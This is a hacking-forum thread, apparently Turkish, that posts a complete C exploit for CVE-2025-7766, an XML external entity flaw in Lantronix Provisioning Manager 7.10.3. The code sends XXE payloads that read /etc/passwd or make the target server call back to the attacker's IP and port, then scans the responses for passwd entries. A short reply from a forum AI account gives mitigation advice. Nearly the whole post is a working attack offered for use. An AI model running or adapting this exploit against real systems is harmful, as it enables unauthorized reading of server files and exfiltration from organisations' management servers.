Hoşgeldin Misafir

Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)

greenbone

4 Eyl 2022
2,020 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Kod:
/*
 * Exploit Title: Lantronix Provisioning Manager 7.10.3 - XML External Entity Injection (XXE)
 * Google Dork: N/A
 * Date: 2025-08-17
 * Exploit Author: Byte Reaper
 * Vendor Homepage: https://www.lantronix.com/
 * Software Link: https://www.lantronix.com/products/lantronix-provisioning-manager/
 * Version: Provisioning Manager ≤ 7.10.3
 * Tested on: Kali Linux
 * CVE: CVE-2025-7766
 */


#include<stdio.h>
#include<string.h>
#include"argparse.h"
#include<curl/curl.h>
#include<stdlib.h>
#include<unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#define FULL_URL 3000
#define SIZE_PAYLOAD 4000
const char *yourIp = NULL;
const char *url = NULL ;
int yourPort = 0;
int selecetCookie = 0;
int verbose = 0;
int loop = 0;
int selectPayload = 0;
const char *yourPayload = NULL;
char full[FULL_URL];
int requestPayload = 0;
const char *cookies = NULL;

void exitSyscall()
{
    __asm__ volatile
    (
        "xor %%rdi, %%rdi\n\t"
        "mov $0x3C, %%rax\n\t"
        "syscall\n\t"
        :
        :
        :"rax", "rdi"
    );
}
struct Mem
{
    char *buffer;
    size_t len;
};
size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        printf("\e[1;31m[-] Failed to allocate memory!\e[0m\n");
        exitSyscall();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}

void xmlPost(const char *fullUrl, const char *yourIp, int yourPort)
{
    char payload[SIZE_PAYLOAD];
    struct Mem response =
    {
        NULL,
        0
    };
    if (selectPayload)
    {
        int s = snprintf(payload,sizeof(payload),yourPayload);
        if (s < 0 || s >= sizeof(payload))
        {
            printf("\e[1;31m[-] Check len payload (yourPayload >= Size Payload) !\e[0m\n");
            exitSyscall();
        }
    }
    if (requestPayload)
    {
        printf("\e[1;37m[+] Payload Select : Send Request Payload\e[0m\n");
        printf("\e[1;34m[+] Please Check Server (python server, apache...)\e[0m\n");

        const char *payloadR =
            "<?xml version=\"1.0\"?>\n"
            "<!DOCTYPE doc [\n"
            "  <!ENTITY xxe SYSTEM \"http://%s:%d/xxe.test\">\n"
            "]>\n"
            "<config>\n"
            "  <doc>&xxe;</doc>\n"
            "</config>\n"
        ;
        int r = snprintf(payload, sizeof(payload), payloadR, yourIp, yourPort);
        if (r < 0 || r >= sizeof(payload))
        {
            printf("\e[1;31m[-] Error building payloadR\n");
            exitSyscall();
        }
    }
    else
    {
        printf("\e[1;37m[+] Payload Select : Read File : /etc/passwd !\e[0m\n");
        const char *autoPayload =
            "<?xml version=\"1.0\"?>\n"
            "<!DOCTYPE doc [\n"
            "  <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n"
            "]>\n"
            "<config>\n"
            "  <doc>&xxe;</doc>\n"
            "</config>\n"
        ;
        snprintf(payload,
                 sizeof(payload),
                 autoPayload);
    }


    CURL *curl = curl_easy_init();
    if (curl == NULL)
    {
        printf("\e[1;31m[-] Error Create Object Curl !\e[0m\n");
        exitSyscall();
    }
    response.buffer  = NULL;
    response.len = 0;

    if (verbose)
    {
        printf("\e[1;35m==========================================\e[0m\n");
        printf("[+] Cleaning Response...\n");
        printf("[+] Response Buffer : %s\n", response.buffer);
        printf("[+] Response Len : %zu\n", response.len);
        printf("\e[1;35m==========================================\e[0m\n");
    }
    CURLcode res;
    if (curl)
    {
        curl_easy_setopt(curl,
                         CURLOPT_URL,
                         fullUrl);
        curl_easy_setopt(curl,
                         CURLOPT_POSTFIELDS,
                         payload);
        curl_easy_setopt(curl,
                         CURLOPT_POSTFIELDSIZE,
                         strlen(payload));

        if (selecetCookie)
        {
            curl_easy_setopt(curl,
                             CURLOPT_COOKIEFILE,
                             cookies);
            curl_easy_setopt(curl,
                             CURLOPT_COOKIEJAR,
                             cookies);

        }
        curl_easy_setopt(curl,
                         CURLOPT_FOLLOWLOCATION,
                         1L);
        sleep(1);
        curl_easy_setopt(curl,
                         CURLOPT_WRITEFUNCTION,
                         write_cb);
        if (verbose)
        {
            printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
            curl_easy_setopt(curl,
                             CURLOPT_VERBOSE,
                             1L);
        }
        curl_easy_setopt(curl,
                         CURLOPT_WRITEDATA,
                         &response);
        curl_easy_setopt(curl,
                         CURLOPT_CONNECTTIMEOUT,
                         5L);
        curl_easy_setopt(curl,
                         CURLOPT_TIMEOUT,
                         10L);
        curl_easy_setopt(curl,
                         CURLOPT_SSL_VERIFYPEER,
                         0L);
        curl_easy_setopt(curl,
                         CURLOPT_SSL_VERIFYHOST,
                         0L);
        struct curl_slist *headers = NULL;
        headers = curl_slist_append(headers,
                                    "Accept-Language: en-US,en");
        headers = curl_slist_append(headers,
                              "Connection: keep-alive");
        headers = curl_slist_append(headers,
                                    "Referer: http://example.com");
        headers =curl_slist_append(headers,
                                   "Content-Type: application/xml");
         double totalTime;
        res = curl_easy_perform(curl);
        if (res == CURLE_OK)
        {
             curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &totalTime);
             printf("\e[1;32m[+] Delayed response : %f\n",  totalTime );
             printf("\e[1;36m[+] Request sent successfully\e[0m\n");
             printf("\e[1;34m[+] Full URl : %s\e[0m\n", full);
             if (verbose)
             {
                 printf("\e[1;35m---------------------------[Payload Data]---------------------------\e[0m\n");
                 printf("[+] Post data : %s\n", payload);
                 printf("\e[1;35m-----------------------------------------------------------------\e[0m\n");
             }
             long httpCode= 0 ;
             curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode);
             if (httpCode >= 200 && httpCode < 300)
             {
                 printf("\e[1;34m[+] Possible server vulnerability (CVE-2025-7766)!\e[0m\n");                     printf("\e[1;34m[+] Please Check Reverse Shell Connection (port -> %d)\e[0m\n", yourPort);
                 printf("[+] Http Code (200 < 300) !\e[0m\n");
                 printf("\e[1;32m[+] Http Code : %ld\e[0m\n", httpCode);
                 printf("\e[1;35m====================================[Response]====================================\e[0m\n");
                 printf("%s\n", response.buffer);
                 printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len);
                 printf("\e[1;35m===================================================================================\e[0m\n\n");
                 const char *keywords[] =
                 {
                     "root:x:0:0",
                     ":/bin/bash",
                     ":/home/",
                     "daemon:x:",
                     "nobody:x:",
                     ":x:1000:",
                     "/usr/sbin/nologin",
                     "sys:x:",
                     "bin:x:",
                     "mail:x:"
                 };
                 printf("\e[1;34m[+] Check keyword On Response...\e[0m\n");
                 int numberKeyword = sizeof(keywords) / sizeof(keywords[0]);
                 int found = 0;
                 for (int f = 0; f < numberKeyword; f++)
                 {
                     if (strstr(response.buffer,keywords[f]) != NULL)
                     {
                         printf("\e[1;33m[+] Keyword Found In response : %s\e[0m\n", keywords[f]);
                         found = 1;
                     }
                     else
                     {
                         found = 0;
                     }
                 }
                 if (found)
                 {
                     printf("\e[1;36m[+] The server suffers from a vulnerability CVE-2025-7766.\e[0m\n");
                 }
                 else
                 {
                     printf("\e[1;31m[-] Not Found Keyword In Response !\e[0m\n");
                 }
             }
             else
             {
                 printf("\e[1;31m[-] Http Code : %ld\e[0m\n", httpCode);
                 printf("\e[1;31m[-] Please Check Url (%s)!\e[0m\n", fullUrl);
                 if (verbose)
                 {
                     printf("\e[1;35m====================================[Response]====================================\n");
                     printf("%s\n", response.buffer);
                     printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len);
                     printf("\e[1;35m===================================================================================\n\n");
                 }
            }
            curl_slist_free_all(headers);
            curl_easy_cleanup(curl);
        }
        else
        {
            printf("\e[1;31m[-] The request was not sent !\e[0m\n");
            printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res));
            if (verbose)
            {
                printf("\e[1;31m[-] Exit Syscall ...\e[0m\n");
            }
            curl_slist_free_all(headers);
            curl_easy_cleanup(curl);
            exitSyscall();
        }
    }
    if (response.buffer)
    {
        free(response.buffer);
        response.buffer = NULL;
        response.len = 0;
    }
    curl_easy_cleanup(curl);
}

int main(int argc,
         const char **argv)
{
    printf
    (
        "\e[1;91m"
        "▄▖▖▖▄▖  ▄▖▄▖▄▖▄▖  ▄▖▄▖▄▖▄▖\n"
        "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖ ▌ ▌▙▖▙▖\n"
        "▙▖▚▘▙▖  ▙▖█▌▙▖▄▌   ▌ ▌▙▌▙▌\n"
        "\e[1;97m\t      Byte Reaper\e[0m\n"
    );
    printf("\e[1;91m---------------------------------------------------------------------------------------\e[0m\n");
    struct argparse_option options[] =
    {
        OPT_HELP(),
        OPT_STRING('u',
                   "url",
                   &url,
                   "Target Url (full url)"),
        OPT_STRING('c',
                   "cookies",
                   &cookies,
                   "cookies File"),
        OPT_BOOLEAN('v',
                    "verbose",
                    &verbose,
                    "Verbose Mode"),
        OPT_STRING('i',
                    "ip",
                    &yourIp,
                    "Enter Your IP (Send Requst, Localhost ip...)"),
        OPT_INTEGER('p',
                    "port",
                    &yourPort,
                    "Enter Number Port (Http Request,Check Vuln...)"),
        OPT_INTEGER('l',
                    "loop",
                    &loop,
                    "Number of times you send requests"),
        OPT_STRING('b',
                   "payload",
                   &yourPayload,
                   "Enter Your Payload"),
        OPT_BOOLEAN('r',
                    "request",
                    &requestPayload,
                    "Payload Send Request in Your Server "),



         OPT_END(),
    };
    struct argparse argparse;
    argparse_init(&argparse,
                  options,
                  NULL,
                  0);

    argparse_parse(&argparse,
                   argc,
                   argv);
    if (!url ||
        !yourIp ||
        yourPort == 0)
    {
        printf("\e[1;31m[-] Please Enter Target Url ,Your ip, port!\e[0m\n");
        printf("\e[1;31m[-] Ex : ./exploit  -u https://ip:port/path -i IP -p PORT\e[0m\n");
        printf("\e[1;31m[-] Exit syscall...\e[0m\n");
        exitSyscall();
    }
    strncpy(full, url, FULL_URL - 1);
    full[FULL_URL - 1] = '\0';
    in_addr_t value = inet_addr(yourIp);
    if (value == INADDR_NONE)
    {
        printf("\e[1;31m[-] Invalid Ip String !\e[0m\n");
        exitSyscall();
    }
    if (yourPort < 1 || yourPort > 65535)
    {
        printf("\e[1;31m[-] Invalid Port, Exit...\e[0m\n");
        exitSyscall();
    }
    if (strncmp(full, "http://", 7) != 0 &&
        strncmp(full, "https://", 8) != 0)
    {
        printf("\e[1;31m[-] Invalid URL! Must start with http:// or https://\e[0m\n");
        exitSyscall();
    }

    if (verbose)
    {

        verbose = 1;
    }
    if (cookies)
    {
        selecetCookie = 1;
    }

    if (requestPayload)
    {
        requestPayload = 1;
    }
    if (loop)
    {
        printf("\e[1;36m[+] Argument --loop Run ...\e[0m\n");
        printf("\e[1;36m[+] Number Loop : %d\e[0m\n", loop);
        printf("------------------------------------------------------\n");
        for (int o = 0; o < loop ; o++)
        {
            printf("[%d]: \n", o);
            xmlPost(full, yourIp,yourPort);
            printf("------------------------------------------------------\n");
        }
    }
    if (yourPayload)
    {
        selectPayload = 1;
    }
    else
    {
        xmlPost(full, yourIp,yourPort);
    }
    return 0;
}
 

THS-AI

THS-AI

THS YAPAY ZEKA
Turkhacks Kurumsal
20 Haz 2025
11,255 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Lantronix Provisioning Manager 7.10.3'teki XXE açığını önlemek için, XML işleme ayarlarını güvenli hale getirin. Özellikle, XML parser'larda DTD'leri ve external entity kullanımını devre dışı bırakın ve güncellemeleri kontrol ederek en son yamaları uygulayın.